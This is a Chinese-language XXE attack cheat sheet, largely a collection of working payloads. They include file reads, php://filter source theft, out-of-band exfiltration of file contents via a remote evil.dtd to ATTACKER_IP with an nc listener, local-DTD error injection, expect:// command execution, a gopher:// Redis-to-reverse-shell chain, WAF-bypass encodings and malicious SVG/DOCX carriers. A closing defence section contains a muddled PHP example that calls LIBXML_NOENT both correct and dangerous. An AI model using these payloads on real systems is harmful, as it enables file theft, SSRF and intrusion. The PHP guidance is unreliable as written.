前言

XXE(XML External Entity,XML 外部实体注入)是一种针对 XML 解析器的攻击手法。当应用程序解析用户可控的 XML 输入时,如果解析器未禁用外部实体,攻击者可以利用 DTD 声明中的外部实体读取服务器文件、发起 SSRF 请求、执行拒绝服务攻击,甚至在某些条件下实现远程代码执行。

核心危害:

  • 文件读取file:///etc/passwdphp://filter 读取源码
  • SSRF:通过外部实体向内部系统发起 HTTP 请求
  • 端口扫描:利用响应时间或错误信息探测内网开放端口
  • 拒绝服务:Billion Laughs 攻击耗尽服务器内存
  • RCE(罕见):配合 expect:// 或特定环境(如 PHP except 模块)

本文从 XML/DTD 基础讲起,按有回显、无回显、报错注入、绕过变形四大类整理了十余种 payload,覆盖 file://php://expect://gopher://jar:// 等多种协议利用,以及 SVG、DOCX、SOAP 等常见 XXE 载体。


一、XML 与 DTD 基础

1.1 什么是 XML 实体

XML 实体(Entity)类似于编程语言中的变量——定义一个实体名,在 XML 文档中引用它时会被替换为对应的值。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY name "Hello World"> <!-- 内部实体定义 -->
]>
<root>
<message>&name;</message> <!-- 引用 → 输出 Hello World -->
</root>

1.2 什么是外部实体

外部实体(External Entity)的实体值来自外部资源(本地文件或远程 URL):

1
2
3
4
5
6
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 外部实体:从本地文件加载 -->
]>
<root>
<data>&xxe;</data> <!-- 引用 → 输出 /etc/passwd 内容 -->
</root>

SYSTEM 关键字告诉解析器去加载指定的资源。这就是 XXE 的核心——攻击者控制 SYSTEM 后面的 URI,解析器去读取任意文件或发起任意请求。

1.3 参数实体(Parameter Entity)

普通实体在 XML 文档内容中使用(&name;),参数实体只能在 DTD 内部使用(%name;):

1
2
3
4
<!DOCTYPE root [
<!ENTITY % param_entity SYSTEM "http://attacker/evil.dtd">
%param_entity; <!-- 加载并解析远程 DTD 中的参数实体定义 -->
]>

参数实体是盲 XXE(Out-of-Band) 的关键——它允许将文件内容拼接到 URL 中,发送给攻击者服务器。

1.4 实体引用语法对比

类型 定义 引用 使用位置
内部实体 <!ENTITY x "value"> &x; XML 文档内容
外部实体 <!ENTITY x SYSTEM "URI"> &x; XML 文档内容
参数实体 <!ENTITY % x SYSTEM "URI"> %x; 仅在 DTD 内部
字符实体 &#x25;% 任意位置(HTML/XML 实体编码)

二、有回显 XXE(In-Band)

有回显是最简单的情况——解析器将实体替换后的内容直接返回在响应中。

2.1 基础文件读取

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE TZY [
<!ENTITY tzy SYSTEM "file:///flag">
]>
<hello>
<ctfshow>&tzy;</ctfshow>
</hello>

2.2 读取 PHP 源码(防止被解析)

如果直接 file:///index.php,返回的是 PHP 执行后的结果。要用 php://filter 读取原始源码:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">
]>
<root>
<data>&xxe;</data>
</root>

拿到 base64 后解码即可得到完整 PHP 源码。

2.3 多行文件读取(CDATA 包装)

如果读取的文件含特殊字符(<&)导致 XML 解析失败,可以用 CDATA 包装:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attacker/combine.dtd">
%dtd;
]>
<root>
<data>&all;</data>
</root>

远程 combine.dtd

1
<!ENTITY all "%start;%file;%end;">

2.4 目录列举

部分 PHP/JDK XML 解析器支持 file:// 列出目录:

1
<!ENTITY dir SYSTEM "file:///var/www/html/">

目录列举的支持因解析器而异,PHP 的 SimpleXMLDOMDocument 通常不支持,Java/JDK 的 XML 解析器有时可以。


三、盲 XXE(Out-of-Band / 无回显)

当解析结果不返回给用户时,需要通过外部请求将数据带出来。这是 CTF 和实战中更常见的场景。

3.1 基本原理

1
2
3
4
5
6
7
8
9
10
11
┌─────────────────────────────────────────────────────────────────┐
│ XML 解析器 │
│ ↓ │
│ 加载远程 DTD (http://attacker/evil.dtd) │
│ ↓ │
│ evil.dtd 中定义: %file 读取 /flag, 拼接到 URL 中 │
│ ↓ │
│ 发起请求 http://attacker/?data=<base64_of_flag> │
│ ↓ │
│ 攻击者从日志中提取 flag │
└─────────────────────────────────────────────────────────────────┘

3.2 Payload 组合 1:php://filter + 远程 DTD

发给目标的 XML:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://ATTACKER_IP/evil.dtd">
%aaa;
]>
<root>123</root>

攻击服务器上的 evil.dtd

1
2
3
<!ENTITY % dtd "<!ENTITY &#x25; xxe SYSTEM 'http://ATTACKER_IP:9999/?data=%file;'>">
%dtd;
%xxe;

逐行解读:

步骤 发生的事情
%file 读取 /flag,base64 编码后赋给参数实体 %file
%aaa 加载攻击者的远程 DTD
evil.dtd 中的 %dtd 动态定义一个新的参数实体 %xxe,内容是一个 SYSTEM 实体,指向攻击者服务器,URL 中包含 %file 的值
%xxe 触发该实体的引用 → 浏览器发起 GET http://ATTACKER:9999/?data=base64flag

为什么用 &#x25; 在 DTD 内部定义新实体时,% 会被解析器误认为是实体引用。所以要写成 &#x25;% 的字符实体编码),解析后才变成真正的 %

3.3 Payload 组合 2:file:// + 远程 DTD

发送到目标的 XML:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % myurl SYSTEM "http://ATTACKER_IP/evil.dtd">
%myurl;
]>
<root>
<ctfshow>iloveu</ctfshow>
</root>

攻击服务器上的 evil.dtd

1
2
3
<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://ATTACKER_IP:9999/?flag=%file;'>">
%dtd;
%vps;

注意: file:// 直接读取可能包含换行符和特殊字符,会被 HTTP URL 截断。建议用 php://filter 做 base64 编码后再外带(见 3.2)。

3.4 攻击端准备

1
2
3
4
5
6
7
8
# 1. 创建 evil.dtd(内容如上述)
vim evil.dtd

# 2. 启动 HTTP 服务(8000 端口提供 DTD 文件)
python3 -m http.server 8000

# 3. 启动 nc 监听(9999 端口接收数据)
nc -lvvp 9999

收到请求路径中的 base64 数据后解码即可。

3.5 盲 XXE 的字符限制

如果文件包含 &<#、换行符等,直接拼接 URL 会失败。php://filter 的 base64 编码是最可靠的解法。其他编码链:

1
2
3
php://filter/read=convert.base64-encode/resource=/flag       # base64 编码
php://filter/convert.iconv.utf-8.utf-16/resource=/flag # UTF-16 编码(可能绕过长度限制)
php://filter/zlib.deflate/resource=/flag # 压缩后外带(更短)

四、报错注入 XXE(Error-Based)

当没有回显且外部请求被防火墙阻断时,可以尝试通过触发 XML 解析错误来泄露数据。

4.1 原理

让解析器将文件内容作为外部实体路径的一部分,当实体加载失败时,错误信息中会包含路径(即文件内容)。

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % evil SYSTEM "file:///nonexistent/%file;">
%evil;
]>

解析器报错:Error: file:///nonexistent/root:x:0:0:... → 文件内容泄露在错误消息中。

4.2 利用本地 DTD 文件(Local DTD)

如果目标禁止外部 DTD 加载,可以重写本机已有的 DTD 文件中的实体:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<root></root>

关键: 利用目标系统上确实存在的 DTD 文件(如 /usr/share/yelp/dtd/docbookx.dtd),重写其中已有的参数实体(如 ISOamsa),注入恶意实体定义。

4.3 常见本地 DTD 路径

1
2
3
4
5
6
7
8
# Linux
/usr/share/yelp/dtd/docbookx.dtd
/usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd
/usr/share/xml/fontconfig/fonts.dtd
/etc/xml/catalog

# Windows
C:\Windows\System32\inetsrv\config\applicationHost.config

五、XXE 支持的协议

不同解析器支持的协议不同,下表整理了常见协议及其利用场景:

协议 用途 示例 支持环境
file:// 读取本地文件 file:///etc/passwd Java、PHP、.NET
http:// / https:// SSRF、外带数据 http://attacker/evil.dtd 几乎所有
php://filter PHP 文件读取(base64) php://filter/read=convert.base64-encode/resource=/flag PHP
php://input PHP 标准输入流 php://input PHP
expect:// 命令执行 expect://id PHP(需要 expect 扩展)
gopher:// SSRF 增强(发送任意 TCP 数据) gopher://127.0.0.1:6379/_*1%0d%0a... Java、curl
jar:// 读取 JAR/ZIP 中的文件 jar://http://attacker/evil.zip!/evil.class Java/JDK
netdoc:// Java 文件读取 netdoc:///etc/shadow Java
ftp:// FTP 协议请求 ftp://attacker:21/file Java
dict:// 字典协议(端口探测) dict://127.0.0.1:22 curl、Java

5.1 expect:// 命令执行

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>

仅在 PHP 安装了 expect 扩展时可用(非常罕见)。

5.2 gopher:// SSRF 攻击内网

1
2
3
4
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a...">
]>
<root>&xxe;</root>

可以配合 SSRF 打内网的 Redis、MySQL、FastCGI 等服务。

5.3 jar:// 远程类加载(Java)

1
2
3
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "jar:http://attacker/evil.jar!/com/evil/Evil.class">
]>

适用于 Java 环境,可配合反序列化或其他 JVM 攻击链。


六、绕过手法

6.1 编码绕过(UTF-7)

如果 WAF 检测 XML 中的 SYSTEMENTITY 等关键字,可以将整个 XML 文档编码为 UTF-7:

1
cat exp.xml | iconv -f utf-8 -t utf-7 > payload.xml

并修改 XML 声明:

1
<?xml version="1.0" encoding="UTF-7"?>

UTF-7 编码后的 XML 能绕过大量基于 ASCII 字符串匹配的 WAF。

6.2 双引号 / 单引号互换

1
2
3
<!ENTITY xxe SYSTEM "file:///flag">
<!-- 等价于 -->
<!ENTITY xxe SYSTEM 'file:///flag'>

6.3 16 进制 / base64 实体值

1
2
3
4
<!DOCTYPE root [
<!ENTITY % hex SYSTEM "&#x68;&#x74;&#x74;&#x70;://attacker/evil.dtd">
%hex;
]>

但这在某些解析器中可能不生效——字符实体只能在文档内容中使用,不能在 DTD 内部直接用于 URI。更可靠的方式是用 &#x25; 编码 %

6.4 空格/注释干扰

1
2
<!ENTITY  xxe  SYSTEM  "file:///flag">
<!-- entity --> <!ENTITY xxe SYSTEM "file:///flag">

6.5 嵌套参数实体绕过 WAF 关键字检测

1
2
3
4
5
6
7
<!DOCTYPE root [
<!ENTITY % a "fil">
<!ENTITY % b "e:///fl">
<!ENTITY % c "ag">
<!ENTITY % xxe SYSTEM "%a;%b;%c;">
%xxe;
]>

WAF 看到的是 %a;%b;%c; 而不是 file:///flag

6.6 外部 DTD 绕过

直接将 payload 放在远程 DTD 上,XML 只写加载语句:

1
2
3
4
5
6
7
<!-- 目标发送的 XML -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://attacker/evil.dtd">
%xxe;
]>
<root></root>

所有恶意内容都在远程 DTD 中,WAF 对本地 XML 文档无从检测。


七、常见 XXE 载体

7.1 SVG 文件上传

SVG 文件本身就是 XML 格式。如果网站允许上传 SVG 并返回渲染结果:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="0" y="15" font-size="16">&xxe;</text>
</svg>

上传后,渲染出的 SVG 图片上会显示 /etc/hostname 的内容。

7.2 DOCX / XLSX / PPTX 文件

Office 文档本质是 ZIP 包,其中包含 XML 文件。修改 word/document.xmlxl/workbook.xml 注入 XXE payload,重新打包:

1
2
3
4
5
# 解压
unzip template.docx -d docx_exploit
# 修改 docx_exploit/word/document.xml,注入 XXE
# 重新打包
cd docx_exploit && zip -r ../evil.docx *

7.3 SOAP API

SOAP 是基于 XML 的 Web Service 协议,XXE 在 SOAP 请求中常见:

1
2
3
4
5
6
7
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUser>
<id>&xxe;</id>
</getUser>
</soap:Body>
</soap:Envelope>

7.4 RSS / Atom Feed

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE feed [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<rss version="2.0">
<channel>
<title>&xxe;</title>
</channel>
</rss>

7.5 Content-Type 篡改

如果请求本来是 JSON,可以尝试改为 XML:

1
2
3
4
5
6
7
8
9
10
11
12
# 原始
POST /api/data HTTP/1.1
Content-Type: application/json
{"name": "test"}

# 改 Content-Type 测试 XXE
POST /api/data HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>

很多后端框架会自动根据 Content-Type 切换解析器,JSON 改 XML 是经典 XXE 发现技巧。


八、自动化工具

8.1 XXEinjector

1
2
3
4
5
6
7
8
# 自动枚举文件
ruby XXEinjector.rb --host=ATTACKER_IP --path=/etc/passwd --file=/tmp/req.txt

# 端口扫描
ruby XXEinjector.rb --host=ATTACKER_IP --path=/etc/passwd --file=/tmp/req.txt --ssrf

# 带 HTTP basic auth
ruby XXEinjector.rb --host=ATTACKER_IP --path=/etc/passwd --file=/tmp/req.txt --httpport=80

8.2 Burp Suite

  • BApp Store → 搜索 “XXE” → 安装多个扩展
  • Collaborator 是盲 XXE 检测的最佳工具——生成唯一域名,在 DTD 中引用,如果收到 DNS/HTTP 回调即确认 XXE 存在

8.3 OOB Server(项目发现工具)

1
2
3
4
5
# interactsh-client(ProjectDiscovery)
interactsh-client -v

# 生成一个 payload
# http://c12345xxxxx.interactsh.com

九、XXE 到 SSRF 攻击链

XXE 和 SSRF 是天然的组合——外部实体本身就是一种 SSRF 触发方式。

1
2
3
4
5
XXE 实体加载
→ 探测内网端口(dict://、http://)
→ 发现 Redis:6379
→ gopher:// 写入 SSH key 或 cron
→ 反弹 shell

端口扫描示例:

1
2
3
4
<!DOCTYPE root [
<!ENTITY port80 SYSTEM "http://127.0.0.1:80/">
<!ENTITY port6379 SYSTEM "http://127.0.0.1:6379/">
]>

通过响应时间差异或错误信息判断端口是否开放。


十、防御措施

层面 措施 说明
XML 解析器配置 禁用外部实体 最根本的解决方案
XML 解析器配置 禁用 DTD 处理 如果业务不需要 DTD,直接关闭
WAF 检测 <\!DOCTYPESYSTEMENTITY 但可被编码绕过,不可单靠
输入校验 校验 Content-Type,拒绝非预期的 XML 如业务只用 JSON,拒绝 text/xml
文件上传 对上传的 SVG/DOCX/XLSX 做清洗 移除 XML 中的 <!DOCTYPE 声明
网络层 限制解析器发起外连请求 防火墙策略阻断出站到非业务网段
最小权限 解析进程仅授予必要文件权限 chrootseccompAppArmor
库/语言 使用安全默认配置的解析器 Python defusedxml、Java XMLConstants.FEATURE_SECURE_PROCESSING

各语言安全配置示例

PHP:

1
2
3
4
5
6
7
8
$xml = file_get_contents('php://input');
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // 危险!
// 正确做法:
$doc->loadXML($xml, LIBXML_NOENT); // 仍危险
// 最佳做法:
libxml_disable_entity_loader(true); // PHP < 8.0
$doc->loadXML($xml);

Python(使用 defusedxml):

1
2
3
4
5
6
7
# 危险
from xml.etree import ElementTree
ElementTree.fromstring(xml_data)

# 安全
from defusedxml.ElementTree import fromstring
root = fromstring(xml_data)

Java:

1
2
3
4
5
6
7
8
// 安全配置
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

十一、快速决策树

1
2
3
4
5
6
7
8
收到 XML 解析回显?
├── 是 → 有回显 XXE(二)→ file:// 直接读 / flag,php://filter 读源码
└── 否 → 有报错信息?
├── 是 → 报错注入 XXE(四)→ 本地 DTD 重写
└── 否 → 盲 XXE(三)→ 远程 DTD + VPS 监听
├── PHP 环境 → php://filter + base64 外带
├── Java 环境 → jar://、netdoc://、gopher://
└── 不确定 → 先测 http:// 回调,确认后再深入

参考